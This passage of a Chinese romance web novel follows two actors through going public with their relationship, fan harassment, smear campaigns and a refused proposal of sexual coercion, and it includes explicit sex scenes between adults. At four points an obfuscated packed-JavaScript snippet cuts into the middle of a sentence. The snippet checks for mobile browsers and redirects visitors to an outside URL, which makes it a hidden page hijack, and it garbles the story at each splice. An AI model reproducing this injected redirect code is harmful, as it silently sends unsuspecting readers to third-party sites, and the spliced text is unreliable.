童颜两手捧住吹风机，对着吹风口唱：“我的爱，赤裸裸，你不能让我再寂寞……” 歌声被风吹得古古怪怪，她喝了两口风，又开始咳。 “安生点。” 江述无奈斥了一句，将人转过去，背朝着他。童颜又开始摇头晃脑，总之就要给他捣乱。 足足闹了二十分钟，总算把头发吹干了，她的酒意也散了些。 伸着手臂要抱抱。 江述搂住她，抱婴儿似的，把人抱到床上，塞进被子里。 “先待着，我去吹头发。” “哦。” 这会儿倒乖觉了，江述捏了捏她脸，转头回了浴室。 关上音乐播放器，快速把头发吹个半干，再出来，她还是方才的姿势，眼睛盯着地面，眨巴眨巴，在发呆。 江述坐到床头，揭开被子躺进去，她自觉钻进他怀里，看了他一眼。 就那么一个眼神，他顿觉喉咙发紧，暗自压了压，抚着她脸问：“想说说话吗？” 她摇了摇头。 “那睡觉吗？” 仍是摇头。 又看了他一眼，江述毫不犹豫地吻了上去。 浴巾早已散开，被他拎出去，和他的衣服一起丢在地上。她环抱着他腰，瞬间就把他全身的火点着了。 有些难忍，她抓着他背脊呼痛，他却不想停，也停不下来。 “想我吗？”滚/烫的鼻息扑在颈侧，“有像我一样，想吗？” 她眼角湿了，颤抖着一迭声喊他：“江述……” “我在。感受到了吗……”他几乎失去理智，将她折在怀里。 良久，终于舍得放过。 江述翻了个身，让她趴在身上，起伏的胸膛贴着她的柔软，低处仍相连，他一动，她就忍不住缩了一下。有点疼。 他索性不动，手指抚弄她的发，问：“难过了，怎么不给我打电话？” 一个人去喝闷酒，也不接他的电话。 童颜抿了抿唇：“你今天杀青，不是明天才能回来吗？” “嗯，我提前回来了。”他说着笑了笑，捏她耳垂，“幸好回来得及时，不然小白兔就被大灰狼拐跑了。” 是说在酒吧遇上潘昀的事。 她嘟了嘟嘴。 “我才不是小白兔，本来你要不出现，我是要打人的。” “是吗？那我错过一场好戏。” 她又不说话了。 江述捧着她脸，下巴搁在他胸膛上，问：“难过吗？” “有一点。” “想哭吗？” “有一点。”她说着就瘪了嘴，泪珠挂在眼睫上，“江述，我要是不能演戏了，该怎么办呢？” 这一刻，江述想起了去年在游轮上，她曾两眼放光地提到自己的梦想，想拿大奖，想成为很厉害的演员。 言犹在耳，她却面临着无戏可拍的困境。 这一局，他也无计可解，连他自己也只是个演员，既没有资本护着她，也找不出话来安慰她。 江述平生第一次恨自己的无力。 “还没到最后。”他只能这么说，“先不要灰心，我们把所有的路都走走，如果还是行不通，那我陪你。咱们找个没人认识的地方，开一间剧场，你想演什么演什么，或者开一家咖啡馆，你当老板，我给你打工，好吗？” “雇你打工，会很贵吗？” “不好说。”他故意逗她，“本来是贵的，但如果老板管吃管住，每天亲我一下，可以不要钱。” 她终于笑了。 “老板现在就亲你一下。” 说着凑过来，在他唇上啄了下，却被他扣着脑后，反亲了回来。 一吻毕，两人都气.喘吁吁。又起了反应，他不欲再折腾她，谁知却被她抓住了，坐起身，缓缓动起来。 他两手掐着她腰，全身都绷.紧，浓浓的欲.色在眼底翻滚，终是受不了她钝刀子拉肉，反攻为主。 …… 事毕，童颜精疲力尽，很快就睡沉了。 第二天上午，江述没有行程，在家里陪她。 偷得浮生半日闲，两人也没做什么特别的事，就窝在影音室里，江述坐着，童颜躺着，枕着他腿看电影。 幽静的房间里，灯光柔和，液晶屏占了大半面墙，播的是经典老片《怦然心动》。 童颜看了会儿，忽然说：“江述，我发现你跟Bryce有点像。”她转过头，盯着他脸，“嘴巴像。鼻子也有一点。” 江述笑笑：“真巧，你和Ju ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672920|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' li也有点像。” “是吗？哪里像？” “性格。” “哪种性格？” “Thegirlhasanironbackbone.”江述捏捏她的下巴，用影片中grandpa的话回答，“有骨气。” 不是坏话，童颜听得还挺开心，转念又道：“我要是Juli，一定狠狠虐Bryce，才不会那么轻易跟他和好，哼，没眼光的小子！” 正说着，江述拿起手机看了眼，眉心微微起皱，静了片刻说：“你打算，什么时候给我名分？” 嗯？童颜眨了眨眼，正要问什么意思，她的手机响了，林慧心打的电话：“祖宗，你又把微信调静音了？看微博，你们恋情上热搜了。” 在一起四个月，终于还是曝出来了。 其实这段时间，关于两人的恋情瓜，一直没怎么断过，但都没形成气候，毕竟童颜曾亲口回应过，24K纯友谊。 这次的爆料却不同以往，有人在酒吧拍到江述带童颜离开，接着江述抱她回家，一夜都没出来。 基本是锤了。 大概是做了很久的心理建设，知道会有这么一天，童颜情绪倒还稳定，只是…… “现在不是官宣的好时候。” 社交平台正在热议，路人大多倾向认为是真瓜，有的甚至翻出两人之前合作的综艺，开始磕糖，粉丝辟谣显得很苍白。 宣不宣，只是捅不捅破那层纸的事。连累不连累，这会儿考虑也晚了。 童颜低着头，抱膝坐着。 “我想正大光明地牵你的手，上街、去超市、回家，等到疫情结束，还想带你回旧金山看看。”江述捧起她的脸，认真看进眼中，“你决定好的时候，就是好时候。” “我只怕，你会被我连累。”她说着红了眼圈，扑过去抱住他，“江述，你说的这些，我也很想。但我真的害怕你被人搞，比我自己不能演戏还要怕。” 江述抚着她的发，沉默片刻，忽然说：“演戏是你的梦想，不是我的。” 童颜愣了下：“那你的梦想是什么？” 她想起来，在游轮那晚，也问过同样的问题。当时他怎么说来的？“不好说，先好好演戏吧”，似乎是这么说的。 “是你。”江述看着她，认真道，“一直是你。” 最初入行，是受父母的事影响，想了解这个圈子，和圈子里的人。 后来意兴阑珊，却又遇到了她。 一个生机勃勃的人、努力上进的人、为作品奉献全部热忱的人、再小的角色也会全力以赴的人。 这个行业因为她的存在，在他眼中变得有意思。 想陪着她一直走下去，就是的梦想。 童颜彻底怔住了。 她有时会想，世间所有的情侣都像她和江述这样吗？是最亲密的爱人，是无话不谈的知己，是守望相助的朋友，偶尔也是彼此牵挂的孩子。 似乎任何单一的情感，都不足以定义他们的关系。 无论这种羁绊多么深刻，都属于情感范畴，但江述提到了梦想。 梦想是什么？是海上的灯塔，是黑夜里的光，是恒星对行星的引力。 她可以成为一个人的梦想吗？ 这太宏大了，江述的话让她失去了想象的参照物。 “我不懂。”童颜说。 江述抿唇笑笑：“不懂就不懂吧。你只要知道，我是你的，就够了。” 40. 失控 中午十二点，童颜发了微博。 @童颜YY：余生一起吗？@江述 很快，江述转发微博回应。 @江述：荣幸之至。@童颜YY 紧接着，两人的手机就开始失控。 微信消息一刻不停地弹出来，电话铃声响了停，停了又响。 江述坐在沙发上，童颜抱着他手臂，倚靠在他肩头，盯着桌上并排放的两部手机。 “你的粉丝会吃了我。”童颜半开玩笑半认真地说了一句。 江述偏头看她：“后悔吗？” “不后悔。” “我们先说好，这段时间无论听到什么，看到什么，不生气、不冲动，等热度慢慢过去。”江述转过身，捧着她的脸，认真说，“还是那句话，难过的时候，给我打电话，不要一个人闷着，嗯？” 童颜点了点头。 她也以为热度会过去，却没想到，随着时间过去，事情逐渐变得复杂起来。 一开始，童颜的粉丝虽然很惊讶，但支持两人恋情的居多，毕竟江述自出道以来，没传出过别的绯闻，演技又好，童颜的粉丝还是很看好他的。 江述的粉丝情绪就激烈多了。童颜关注了两天，发现大致有这么几种论调： 恋爱可以谈，但不接受童颜，她方方面面都配不上江述； 恋爱不能谈，江述也不想想自己怎么起来的，没有粉丝的支持，能火多久； 这种时候，江述的重心应该放在搞事业，而不是恋爱脑搞嫂子。 总而言之一句话：江述和童颜在一起，不行。 热搜榜甚至挂了一个由江述大粉发起的话题：#这个嫂子不太行#，实时讨论里，江述和童颜的粉丝互相对骂，吵得不可开交。 林慧心乐见其成，这会儿童颜最需要话题度，哪怕是骂的，总比悄无声息地没了强。 李正则捂着腮帮子上火，对江述又爱又恨。 舆论喧嚣中，还发生了一件本不足道的小事。 一位有着上千万粉丝的读书博主@小西，在自己的帖文提到了江述和童颜，认为江述“做事磊落，是个男人”，字里行间透露出对两人恋情的支持。 结果遭到了江述粉丝的围剿，评论区辱骂声一片。 @小西气不过，和江述的粉丝对线，直接吵到了热搜第一。 童颜强迫自己不上微博，不关注舆论，努力调整自己的心态。 然而，乌烟瘴气的网络世界可以隔离，现实生活去没法控制。 她收到了江述私生粉寄来的死亡威胁：一个脏兮兮，衣服被撕扯的乱七八糟的洋娃娃，脸上涂满了血，头上插着好几根针。 冷不防拆开这么个东西，童颜惊得一身汗，抖得说不出话来。 江述直接报警，并发了一条微博。 @江述：恋爱是我的私事，我知道自己在做什么。如果你们相信我，请像相信我一样，相信她。每个人都有说话的权利，但请理性发言，不要攻击任何人。 他一反常态地高调回应，再次引发了热议，极端粉丝纷纷吵着要脱粉，连后援会的会长都宣布了辞任。 一天时间，江述的微博账号脱粉三百万。 童颜抱膝坐在床上，一句话不说，手指不停地刷新他的首页。 江述将她手机夺过去，直接关了机。 “不要看了。”他伸手搂住了她。 童颜沉默半晌，问：“你后悔吗？” “不后悔。”他语声坚定。 童颜静了几秒，抬起眼看他：“可是我后悔了……”她说着眼泪扑簌簌掉落，“我是扫把星，谁靠近了都晦气。对不起……江述，他们不喜欢我，我接受，可是我到底做错了什么呢？为什么他们不喜欢我……我想不通，就是想不通……” 江述不停给她擦泪：“他们不了解你，童颜，你相信我，我真的没事。” 童颜抱着他嚎啕大哭。 在这一瞬，江述理解了魏子铭当初说的话，“徐徐图之，不想给她招惹更多是非”。 是他太心急了吗？ 如果事情重来，他还是想公开，然而，童颜如此受伤，他除了抱着她，让她哭，没有任何能做的事。 无能为力的感觉不好受，隐隐约约，还有一丝不安。 “我爱你。”他说。 在她如此崩溃的时刻，这句话听上去有些苍白，却是他能捧出的所有真心。 童颜哭到力竭，靠在他怀里抽泣，过了好久，说了句：“谁看不惯我谁忍着，我偏不让他们如意。” 江述扯了扯嘴角，又听她说：“我饿了，想吃鸡蛋羹。” “好，我去做。” * 官宣恋情五天后，舆论开始回落。 李正刚要松一口气，工作室的宣传豆豆突然转来一条豆瓣帖。 「正哥，看这个帖子。」豆豆圈李正。 帖子里说，童颜和魏子铭恋爱期间劈腿，江述是小三上位。 李正看完怒道：「投诉投诉！发动粉丝一起，赶紧搞掉！」 「传的人太多，这会儿热度已经到文娱榜五十了。」 李正差点当场厥过去。 很快，#曝童颜劈腿江述#话题广场上又是一轮血雨腥风。 无数病毒物料开始刷屏。 童颜的名声持续下跌，几乎看不见底，江述也被贴上了“男小三”的标签。 两家的工作室前后脚辟谣，发声明要告黑。 林慧心问童颜：“你不打算说点什么？” 童颜一只耳朵里塞着耳机，正抱着平板电脑听英语课，闻言怔了片刻。 “我觉得，跟疯子是没法讲理的。” 澄清什么呢？ 发微博说我没有劈腿，江述也不是小三？不相信的人根本不会听，还会嘲讽她，逼她自证。 万一标点符号没用好，就是“心虚了”，或是“她急了”，可能会引发很多种解读。 如果是她自己还好，牵扯到江述，她实在不敢轻举妄动。 “也是。”林慧心翻着微博说，“这波话题热度不同寻常，看着像有人搞。江述如今正当红，挡了多少人的道，想扳倒他的不要太多。” 正说着，刷到孙艺涵刚发的微博。 @孙艺涵：入行多年，见过形形色色的人，也背过大大小小的锅，没关系，一切都是最好的安排，走自己的路，老天自有安排。 评论区有人猜测，所谓“背过大大小小的锅”，怕不是今天热搜上那位女士。 孙艺涵回复评论：嘘。 含混不清的一个表情，比直白地说什么话，威力大很多。 很快，#孙艺涵疑似内涵童颜#就上了热搜。 林慧心把手机拿给童颜：“今天这事，我看她也脱不了干系。” 童颜看了一会儿，什么也没说，把手机还回去，继续听网课。 “怎么学的这么认真？真要考雅思啊？”林慧心惊奇。 童颜点了点头：“反正现在行程不多，学了这么久，还是考一个证，也算没白费时间。” “也对。”林慧心想了想，“可以试试往海外发展。” 车在公司园区停下，林慧心还有事，交代童颜：“你先听听老板怎么说，回头咱们再聊。” 童颜所在的经纪公司灿然娱乐，老板王灿最近忙于跟圈内大佬建联，关于童颜被封杀的事，终于打听出点眉目，所以今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683312|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天叫她来公司聊聊。 童颜下了车往公司走，边走边给江述发微信：「哪天回来？」 没等到江述的回复，却收到他助理晨星的微信。 「颜姐，述哥在拍戏，手机在我这，让盯着点你的消息。他还有五天的戏份，应该是下周三下午回去。」 「好，谢谢。」 * 江述最近在宁夏，帮《宦海》的导演友情客串几场戏。 “男小三”的帖子，他看到了，李正问他什么感想，他想了想，说：“童颜劈腿是谣言。” “这时候你还护着她。你平白无故被人扣上小三的帽子，好听吗？我当然知道是谣言……等等。”李正一脸便秘的表情，“你什么意思？” 江述送了他个“只可意会不可言传”的眼神，淡淡地说：“确有此心。” “……” 李正咬牙暴走：“我他妈的！真是服了你了。你，童颜，你们都是我祖宗！” 李正发完脾气没多久，官宣风波后的第三折来了。 起因是之前跟博主@小西对线的粉丝@唯爱江述1199，自以为抓住了童颜配不上江述的证据，去私信辱骂@小西。 由于微博限制未关注人私信条数，这位粉丝把想说的话整理成图片，一次性发给了@小西。 @小西转手把图片贴了出来。 满屏都是问候爹娘和生殖器官的污言秽语。 @唯爱江述119最后说：“当个读书博主还给你当出优越感来了，劝你好好反思，别自以为看过几本书，就真当自己是可以胡说八道大放绝词的知识分子，江述不是你可以随意评价的！” 不堪其扰的@小西微博发问：不知道你到底想表达什么，心太累了，大家看看吧。 一石激起千层浪，几乎所有的读书博主，知识科普、教育赛道的大V都感觉受到了冒犯。 “读书博主怎么了？读书博主招谁惹谁了，这谁家的狗，能不能牵回去好好管管……@江述工作室。 “知识分子怎么了？知识分子什么时候胡说八道大放“绝”词了？@唯爱江述1199这位网友，骂人能不能先把字打对了？你这样我有理由怀疑，江述的粉丝都是小学生。。。” “你主子在家吃香的喝辣的，你在外给他当狗冲锋陷阵，还当出优越感来了？” “本来对江述挺有好感的，现在无了。” “我们不会随意评价江述，更不会随意消费他的代言。” “……” 声势浩大的骂战再次拉开序幕。 一时间，江述遭到了全网声讨，央级官媒都开始下场评论，行文里嘲讽“不是知识分子，不配评价流量明星”。 接着，渐渐有人开始抵制江述代言，事态彻底失控了。 * 九月二十八日，江述从宁夏返京。 回到童颜家时，是晚上八点多，家里没人。 江述发微信问她在哪，放下手机就开始收拾行李，洗澡换衣服，刚收拾完，童颜回来了。 她推开门，怀里抱着一束花，笑眼盈盈地说：“恭喜江述老师杀青！” 江述抿唇，接过花，也搂住了送花的人。 埋首在她发间，深深地吸了口气，一瞬间仿佛卸下了所有的疲惫，嗓音有些嘶哑：“去哪儿了？” “我去给你买花呀。”她紧紧抱着他，轻抚他的背，江述知道，她在安慰他，“喜欢吗？” “喜欢花，更喜欢人。” 他盯着她，无数情绪在眼底凝聚，童颜忽然踮脚，亲了亲他，然后靠近他耳边，轻轻说了两个字。 这一刻，他们都急需一场酣畅淋漓的爱，来抚慰彼此千疮百孔的心。 41. 昙花 以往，江述再不清醒，也总是顾念着童颜，以她舒服为要。 然而这一次，他像一头饥饿太久的狼，堪称凶狠地箍着她，撕咬她，颠来倒去地惩罚她，童颜一度觉得她会死在今晚。 当她大汗淋漓地逃出生天，空气被大口大口地抽进胸腔，腿克制不住地颤，连翻身的力气都没有，才知道以前的江述，还是太克制了。 “放过我吧。”她气若游丝，恳求他。 江述亲了亲她颈后，嗓音低沉：“还敢说浑话吗？” “不敢了。” 他低笑了声，揽着她翻过身来，四目相对，她的双眼亮晶晶：“江述，你每次这样看我，我就感觉自己亏欠了你。” 他目露不解。 “嗯……我想想怎么说啊。就是，感觉你给了我很多珍贵的东西，我却没有什么能还你，然后你还跟我说，不需要还，我就更觉得自己不是人了。” 她说的乱七八糟，江述却听懂了，缓缓牵起嘴角，问：“你打算怎么办？” “要不，以身相许？”她笑得一脸神秘，拿手捂他的眼，“你闭上眼。” 江述依言照做。 童颜跳下床，噔噔噔跑回自己的卧室，再回来时，手里拿着一个巴掌大的心形首饰盒。 打开，里面是一对戒指。 “情侣戒。没有牌子，我定做的，跟你的代言不冲突。”铂金的戒圈，女款细，男款粗，上面镶了半圈碎钻，“里圈刻了咱们姓名首字母，你看，JS&TY。” 童颜把女款戴在自己手上，又取出男款，抓过江述的手，套在中指，两手交握，翻来覆去地看。 “好看吗？”她问。 江述点头，亲了亲她戴戒指的那只手。 “你是我的，我也是你的，就没有亏欠不亏欠了。” 她一语双关。 江述瞬间听懂了。 公开恋情这段时间，发生了太多事。童颜因为害他掉粉、被骂，很内疚，也知道江述很自责。 既然他们彼此相欠，索性一笔勾销。 从今天起，你承受的，就是我承受的，我背负的，也是你背负的。 他的手指拂过她脸颊，轻声说：“好，没有亏欠。” 除了爱，我们不论其他。 “你闭上眼。”他也拿手捂她的眼。 结果手刚离开，她又不安分地睁开了：“我也有礼物吗？” 他笑了笑，起身下地。 这次不用他捂，她自动闭上了眼。 羞死个人，忘了他没穿衣服呀。可是身材真好，她又眯缝起眼，偷偷欣赏。 江述取了条项链回来。 白金的链，底下坠着一个小巧的翅膀造型，中间镶嵌克拉钻。 “喜欢吗？” 童颜狠狠点头：“帮我戴上。” 江述解开卡扣，绕过她后颈系上，小翅膀恰在锁骨下方一点。 他轻轻亲吻锁骨上窝，又在颈侧轻啄。童颜仰着头，双臂环着他，心间被幸福盈满了。 这一晚，他们都不肯提工作的事，像一对普通恋人，用温暖的肌肤给对方以抚慰，以轻柔的话语熨帖受伤的心灵。 困极入睡前，童颜说了一句：“江述，我也爱你，很爱很爱……我会保护你的。” * 国庆假期第三天，国际知名杂志《潮流TIME》举办创刊20周年晚宴，内娱当红流量艺人基本都在受邀之列。 童颜和江述却没去。 童颜是未受邀，江述虽然受邀但不宜露面。 如今恋情风波基本平息，但童颜和江述留在网络世界的名声却坠入谷底，惨得不相上下。 虚名和荣耀仿佛昙花一现，盛开后又谢幕，细一琢磨，似乎也没什么遗憾的，至少他们还有彼此。 两人的相处好像回到了刚认识那两年，江述在厨房做饭，童颜趴在沙发上翻杂志。 他把菜端上桌，叫她来吃。 童颜一上桌就开始挑毛病，嫌这个菜太素了，那个米太硬了，鸡蛋饼里有她不喜欢的胡萝卜了……总之就是没事找事。 这是她的老把戏了。开心的时候嘴比谁都甜，气不顺的时候就故意找茬。 今天这出的缘由，其实也在江述。一大早他就把她折腾醒了，童颜想睡觉，他不让，最后她虽然得了趣，还是怪他，哼哼唧唧怎么哄都不行。 “我要吃辣椒酱，你去拿。”童颜说。 江述盯着她下巴的痘，淡淡地来一句：“上火还吃什么辣椒，好好吃饭。” 她登时不乐意了，嘟着嘴说：“我不是你的小宝贝了吗？！所以爱真的会消失吗……”边说边飙戏，假模假样地抹了抹眼角。 江述想起情浓时两人的私语，忍不住呛咳一阵。 她看他脸色泛红，觉得捉弄到他了，顿时得意的不行。 江述起身，走到她身旁。 童颜警惕地看他：“你干嘛……”话音未落，他弯腰扶着她后颈，吻住了她。 刚刚塞进嘴里的葡萄，被他勾走了。 童颜又羞又气，拿手打他，江述将她牢牢箍住了，亲的人气喘吁吁，差点憋死。 一朝得救，她大口喘息，江述抹了抹她嘴角，问：“爱消失了吗？” 童颜梗着脖子想犟一句，瞧见他危险的眼神，瞬间萎了。 “哼！” 江述无奈，轻轻叹了口气，把她抱起来，换他坐在椅子上。 “别气了，我知错了，行不行？” 童颜鼓着腮帮子，不肯给她好脸色。 江述拿起筷子，夹起她最爱吃的糖醋小排，送到嘴边。童颜傲娇了一会儿，张嘴咬住。又伸手指桌上的清炒菜心：“那个。” 他夹了一筷子菜心喂给她，问：“还要什么？” “嗯……鸡蛋饼吧，你把胡萝卜给我挑出来。” “遵命。” 半顿饭过去，江述不停给她夹菜，自己都没吃几口，童颜良心不安，也终于消气了。 搂住他脖颈，靠在他怀里，小声念叨：“江述，我是不是太作了？” “有点……”他说。 她顿时柳眉倒竖，他笑笑，顺势改口：“有点可爱。” “这还差不多。” 一顿饭吃的腻腻歪歪，到午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699521|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一点多，童颜自告奋勇去洗碗，江述上楼换衣服，要出门去录音棚，给上个戏补配音。 童颜收拾完厨房，见他还没下来，就上楼去找人。 推开门，江述正坐在小圆桌旁，对着电脑看数据。 “咦，你在看股票？买了哪一支？”童颜惊奇道。 江述不欲多说，合上了笔记本：“随便看看。” 童颜这会儿想起来，他大学是学金融的，于是缠着他说：“给我推荐几个潜力股嘛！” “你？”江述忍不住笑，“你最好远离这行。” “什么意思，看不起人？” 说到这，又想起他曾吐槽她，“有点脑子，但不多”，于是新仇旧恨加一块，抓起他手就咬了一口。 江述只当她在挠痒痒：“你有我这支潜力股，就够了。”说着伸手搂住她，叹一声，“要出门了。真想把你拴身上。” 童颜喜欢听他说情话，嘴角翘着，亲了他一口：“你的小宝贝在家等你回来。” “鬼精灵。” * 江述走后不久，林慧心过来了，还带来一个坏消息。 先前定好的电影项目，女主果然换人了。 “当初找我们的时候，态度多诚恳他们还记得吗，现在临到开机要换人，行，我早该对这些见风使舵的势利眼不抱希望！”林慧心虽早有心理准备，还是忍不住生气。 童颜靠在沙发上，捧着单词书，闻言倒没有太多想法。 就好像一个人跳进深渊里，一开始时惊慌害怕，但如果这深渊总也到不了头，过程里反而生出一种等死的坦然来。 如今终于触底，她的心也总算踏实了。 林慧心欲言又止，童颜瞥见了，合上单词书说：“心姐，那天我去找老板聊的事，你后来也没问过我。其实你早就知道他要说什么，对吧？” 童颜回想起王灿说的话。 “你被封杀，是因为赵家跟总局那位打了招呼。干咱们这行的，你拍再多电影也好，电视剧也好，最后播不出来，什么都白搭。人家卡你一下，能让你整个剧组几百号人全白干，谁敢冒这个风险。不过好消息是，那人的任期就到明年，最有可能接他班的领导我见过了。” 童颜冷静地问：“需要我怎么配合？” 王灿把手边的一张名片推过来，调正方向，给童颜看。 “他对你，很欣赏。” 有些事不必说的太露骨，简短的一句话，就能传递足够大的信息量。 可童颜偏要血淋淋地撕开这层体面。 “你是让我去陪睡吗？” 王灿很不喜欢她这么说，皱眉道：“童颜，在这个圈子里混，有时候就得付出一些代价。你看如今风光无限的那位影后，她是怎么出来的，你可能不太清楚，我却知道她背后有多少人。所以，不要把这事想的太复杂，多一个人脉多条路，何况还是这样的人脉，搭上了，那就相当于登上一艘大船，等闲风雨是沾不到你了，这笔账，不划算吗？何况，人家也没说什么，你就当交个朋友，先见一面再说嘛。” 童颜盯着那张名片，沉默片刻，伸手拿了起来。 42. 风雨 王灿以为她想通了，神色一松：“这才……” 话没说完，就见童颜把那名片撕成四半，扔进了垃圾桶。 “这船，我不上。多谢您为我费心，接下来，就顺其自然吧。” 这些上位者仗着手中有权力，就以为能掌控一切，女人对他们来说是什么？猫狗？恐怕连宠物都不是，是插在瓶子里、摆在桌案上的一束花，想起来了看一眼，枯萎了就换一束。 还美其名曰交个朋友，哪有花跟人交朋友的，她配吗！ 有一瞬间，童颜感觉生理性恶心。 但当她撕掉那张名片，她通过鄙夷，获得了对男性上位者的胜利，尽管这种胜利是阿Q式的，并不对任何人造成伤害，她只能在自己心里暗爽。 江述说她“有骨气”，她总要配得上这么高的评价。 童颜不后悔，只是没想到，林慧心竟然与她不是一边的。 “心姐，你希望我去跟人睡一觉，换来拍戏的机会吗？” 林慧心别开眼，沉默了几秒，说：“我不知道。说实话童童，那天我故意躲开了，就是想把决定权放在你手里。我们一路走到现在，有多不容易，你知我知。就这么无声无息地被埋了，我不甘心，我想你也是。但是，你如果低了这个头，也不是我乐见的。所以我把选择权交给你，无论你怎么做，身为经纪人我都理解，也都支持。” 林慧心顿了顿，转回视线：“但我想说，你撕掉名片这件事，我个人很喜欢。” 对视两秒，童颜缓缓笑了起来，眼中逐渐泛起一层水光。 “我就知道，心姐是懂我的。” 林慧心无奈：“我懂你没用，有些路还得你自己走。最近这段时间，先沉淀吧，我们都别灰心。” “好啊。”童颜点头点得干脆，“你去带你刚起来那位小花吧，别管我，就让我自生自灭，哼哼……” 这话说得酸味十足，林慧心忍不住笑骂一句：“你个没良心的。你拍着胸脯说，我手里八九个艺人，哪个最让我操心？” “你也拍着胸脯说，你的艺人里，哪个有我漂亮可爱努力上进性格好，为我操心不应该吗？” 林慧心哽住了。 “哎呀你快走，我还有几天就考试了，你在这打扰我学习。”童年边念叨，边起身推林慧心往门口走。 “真要考雅思啊，你行吗？”林慧心怀疑。 童颜眉毛一竖：“本姑娘天下第一行！” * 十月十五日，MTV举办2021年新片发布会，众多明星、演艺界大佬和媒体人出席。 中场休息时间，江述在楼梯间遇到了潘秋生。 童颜今天参加雅思考试口语部分，出门前紧张的不行，江述担心她状态，就找个安静地方给她打电话，没接，又微信给她留言，说下午去考场接她。 江述正欲离开，却见楼梯间的门被推开，潘秋生走了过来。 “潘总。”江述打了个招呼就要走。 潘秋生却叫住了他：“小述，你连面都不想跟我碰？” 江述只得停下来，听他说话。 “潘总找我，有事？” 潘秋生抽了口烟，说：“你最近风波缠身，我都听说了。如果有需要帮忙的，随时说话。今年这疫情闹的，咱们这个行业都不好过，但我这还是有一些不错的项目，回头我让下边人送到你手里，你抽空选选。” 江述语气平平：“潘总费心，我以为上次已经说清楚了，你无需为我多虑。” 潘秋生皱眉：“小述，你把我当仇人吗？因为你母亲恨我，所以不想接受我的帮助？” “谈不上。潘总于我，只是个和我母亲认识的陌生人，实在没有受你帮助的理由。” “再怎么说，你是我的儿子，咱们之间的血缘关系割不断。” 江述眉心几不可见地一蹙：“这可真是遗憾。” 一句话说得潘秋生沉了脸。 突然间，江述成了跟家长闹脾气的小孩子，无论如何轻描淡写，在潘秋生眼中都好像在赌气、发泄、报复。 小孩子闹脾气，其本质是为了求关注，但天知道，江述是真希望没有这层血缘关系。潘秋生突然的父爱爆发，对他来说，其实算是困扰。 “潘总再见。” 江述点头告辞，拉开了楼梯间的门。 冷不防却听潘秋生说：“你不需要我帮助，那么童颜呢？” 他的手顿在门把上，沉默片刻，走了出去。 走廊直通发布会场后门，潘昀站在门口打电话，看见江述，顿时想起他和童颜的恋情，脸色一黑，正要上去刺挠两句，忽然又见他爸从楼梯间走了出来。 电话里的人在说什么，潘昀也顾不上听了，脑海里浮现上回他爸打电话，“小树”……江述，“小述”？！ 潘昀震惊得天崩地裂。 他爸，养男宠？！！这老头子，什么时候有的这种癖好。。。 潘昀眼睁睁看着江述经过他，进了会场。然后他爸也经过他，进了会场。 从懵逼里回过神，潘昀咬着牙给田源打电话：“你说，我爸跟江述，什么时候的事？！甭跟我这糊弄，我都抓到现行了！！” 对面沉默一瞬，说：“小潘总，之前潘总吩咐我去查江述，但是要保密，潘总看完资料，没交代我去验DNA，所以我也只是猜测，您千万别说是我告诉您的……” 等等……DNA又是什么鬼？！ 潘昀默了两秒，脑子里突然闪过个念头，一时间，眼睛瞪成了O型，从牙缝里慢吞吞迸出两个字。 卧、操—— * 童颜出考场时，正在下雨，不大，雨丝细细密密，伞可用可不用。 她走下楼梯，一眼就看见了等在走廊的江述。 他穿黑色束腿工装裤和连帽卫衣，头戴鸭舌帽，口罩挡住了大半张脸，拿着雨伞站在廊上，盯着楼梯口的方向。 童颜眼睛一亮，朝他跑过去，笑眼弯弯扑到他怀里。 江述撑开伞举过她头顶，搂着她往停车处走。 “发挥的怎么样？” “嗯……口语交谈我打了几次磕巴，也不知道能不能过。” 刚说完，听见身后有人喊：“等等”，转头一看，是个背着单肩包的女生，“你们是，江述和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707179|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 童颜吗？” 童颜没想到捂得这么严实还能被认出来，正想着别是黑粉吧，就听那女生又说：“我是你们的粉丝，方便签个名吗？”说着迅速从背包里掏出了笔和本。 